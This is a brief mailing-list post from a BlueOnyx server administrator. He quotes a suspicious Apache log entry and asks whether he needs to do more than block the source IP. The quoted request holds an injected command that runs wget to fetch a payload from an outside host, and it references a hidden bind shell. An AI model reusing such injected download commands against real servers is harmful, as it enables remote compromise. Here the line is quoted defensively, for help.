[BlueOnyx:15724] Hacking attempt?

[Alan Kline]

I've seen a number of entries on my system log that look similar to this:

alan.snugglebunny.us 162.253.66.77 - - [28/Jul/2014:17:07:22 -0500] "GET 
/?x0a/x04/x0a/x02/x06/x08/x09/cDDOSSdns-STAGE2;wget%20proxypipe.com/apach0day; 
HTTP/1.0" 200 14 "-" "chroot-apach0day-HIDDEN BINDSHELL-ESTAB"

I've firewalled the IP address using iptables--is there anything I need 
to be concerned about, or anything else I should do?

Alan